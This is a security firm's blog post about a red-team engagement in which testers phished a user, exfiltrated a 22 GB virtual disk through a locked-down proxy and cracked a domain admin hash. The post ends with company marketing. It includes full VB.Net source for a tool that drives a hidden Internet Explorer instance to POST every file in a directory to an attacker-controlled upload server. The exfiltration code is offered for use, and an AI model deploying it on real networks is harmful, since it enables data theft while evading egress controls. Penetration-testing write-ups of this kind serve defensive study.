At Silent Break Security, our focus is to provide realistic, custom assessments modeled after real threats our clients are facing. After all, the best way to improve is to practice perfectly, or as close to perfectly as possible. In this case, that would be modeling assessments after actual threats. Typically, this requires us to create custom implants and backdoors, think outside the box, and a LOT of persistence. On a recent blackbox penetration test, we gained access to the internal network through a social engineering email. A stealthy, custom beaconing backdoor was installed on the users box and we had limited internal network access…as a user. We had done several penetration tests for the client before so their internal security had improved significantly. No exploitable services, no weak file permissions, no old vulnerabilities, and no easy way to escalate privileges. On top of that, the internal network had become locked down with tight egress rules, ACLs, blocked EXE file downloads, and NTLM proxy authentication every 30 minutes. Doing recon on the internal network provided little hope…until we found an open file share with a 22 GB VHD file. For those not familiar, a VHD file is a virtual hard disk file format created by Microsoft. Windows 7 and 8 come with a command line utility called diskpart that will allow you to mount a VHD file and assign it a drive letter. The only caveat is you need administrative privileges to mount the VHD file. So…it wouldn’t be possible to mount the file on target due to the user’s privilege restriction, but maybe we could exfil the VHD file, mount it locally, and extract the local and domain cached credential hashes. Let’s see where that leads.
The first problem was exfiltrating a 22 GB VHD file. What are our options? Straight-up TCP egress connection? Blocked by the firewall. Bitsadmin? Blocked at the proxy. HTTP PUTs? Also blocked at the proxy. HTTP POSTs were not being blocked by the proxy, but are definitely not ideal for a file transfer this large. After uploading 7z.exe, the 22 GB VHD file was compressed and split into nearly 900 files, each one about a 10 MB chunk, totaling nearly 9 GB of data to be exfilled. The next task was to build out the infrastructure for the upload. This involved several steps. First, we had to build out a LAMP server with a PHP script to accept the upload. The screenshot below illustrates what we came up with…a basic PHP file upload script. Don’t forget to increase the “upload_max_filesize” option in php.ini to at least 10M. We used 15M just to be safe.
The next step was to build an application to repeatedly POST each file to the web server. This proved more difficult than it sounded. Looking into PowerShell, C++, and VB.Net, we decided to use VB.Net for it’s ease of use and customization available. The proxy required NTLM authentication every 30 minutes. So any process could connect to the internet…for 30 minutes…and often less…much less. After about 30 minutes the proxy would require reauthentication. Apparently Internet Explorer has this “reauth” functionality built into it, but every custom application we tried in PowerShell or VB.Net would not work consistently. Thankfully, VB.Net has the capability to start a hidden IE process and interact with it in the background, GETting web pages and POSTing content. The WebBrowser library is exactly what we were looking for.
Dim WebBrowser : WebBrowser = CreateObject("InternetExplorer.Application")
When completed, we had a simple command-line app that kicked off a hidden IE process and began exfilling all the files in a given directory via standard HTTP POST requests to our LP/web server. The best part was that file was only 5 KB in size…much smaller than any Python byte-compiled executable. You can find the source code below. In the end, all 9 GBs were exfiltrated. The VHD file was extracted and mounted using diskpart. Unfortunately, the local administrator hash didn’t match any other workstation on the internal network so pass-the-hash didn’t work out. However, one of the stored domain cached credentials account was a domain service account and a member of the “Domain Admins” group. After throwing the GPUs at it for a day or so the MSCash2 hash was cracked and the rest is history.
Sub UploadFile(ByVal DestURL As String, ByVal FileName As String, _
Optional ByVal FieldName As String = "File")
Dim sFormData As String, d As String
Const Boundary As String = "---------------------------0123456789012"
'GET FILE CONTENTS
sFormData = GetFile(FileName)
'BUILD POST FORM
d = "--" + Boundary + vbCrLf
d = d + "Content-Disposition: form-data; name=""" + FieldName + """;"
d = d + " filename=""" + FileName + """" + vbCrLf
d = d + "Content-Type: application/upload" + vbCrLf + vbCrLf
d = d + sFormData
d = d + vbCrLf + "--" + Boundary + "--" + vbCrLf
IEPostStringRequest(DestURL, d, Boundary)
Sub IEPostStringRequest(ByVal URL As String, ByVal FormData As String, ByVal Boundary As String)
'CREATE IE INSTANCE
Dim WebBrowser : WebBrowser = CreateObject("InternetExplorer.Application")
'UNCOMMENT TO MAKE IE VISIBLE
'WebBrowser.Visible = True
'SEND FORM DATA TO URL AS A POST
Dim bFormData() As Byte
ReDim bFormData(Len(FormData) - 1)
bFormData = System.Text.Encoding.GetEncoding(1252).GetBytes(FormData)
WebBrowser.Navigate(URL, , , bFormData, _
"Content-Type: multipart/form-data; boundary=" + Boundary + vbCrLf)
Do While WebBrowser.busy
Function GetFile(ByVal FileName As String) As String
Dim FileContents() As Byte, FileNumber As Integer
ReDim FileContents(FileLen(FileName) - 1)
FileNumber = FreeFile()
FileContents = IO.File.ReadAllBytes(FileName)
GetFile = System.Text.Encoding.GetEncoding(1252).GetString(FileContents)
If Environment.GetCommandLineArgs.Count 2 Then
Dim root As String = Environment.GetCommandLineArgs(1)
If Not root.EndsWith("\") Then
Dim di As New IO.DirectoryInfo(root)
Dim diar1 As IO.FileInfo() = di.GetFiles()
Dim dra As IO.FileInfo
'REPEAT FILE UPLOAD FOR ALL FILES IN THE GIVEN DIRECTORY
For Each dra In diar1
UploadFile("http://our-secret-lp.com/u.php", dra.FullName, "file")
PTaaS is NetSPI’s delivery model for penetration testing. It enables customers to simplify the scoping of new engagements, view their testing results in real time, orchestrate faster remediation, perform always-on continuous testing, and more - all through the Resolve™ vulnerability management and orchestration platform.
We help organizations defend against adversaries by being the best at simulating real-world, sophisticated adversaries with the products, services, and training we provide. We know how attackers think and operate, allowing us to help our customers better defend against the threats they face daily.
At NetSPI, we believe that there is simply no replacement for human-led manual deep dive testing. Our Resolve platform delivers automation to ensure our people spend time looking for the critical vulnerabilities that tools miss. We provide automated and manual testing of all aspects of an organization’s entire attack surface, including external and internal network, application, cloud, and physical security.
Our proven methodology ensures that the client experience and our findings aren’t only as good as the latest tester assigned to your project. That consistency gives our customers assurance that if vulnerabilities exist, we will find them.
Is your organization prepared for a ransomware attack? Explore our Ransomware Attack Simulation service.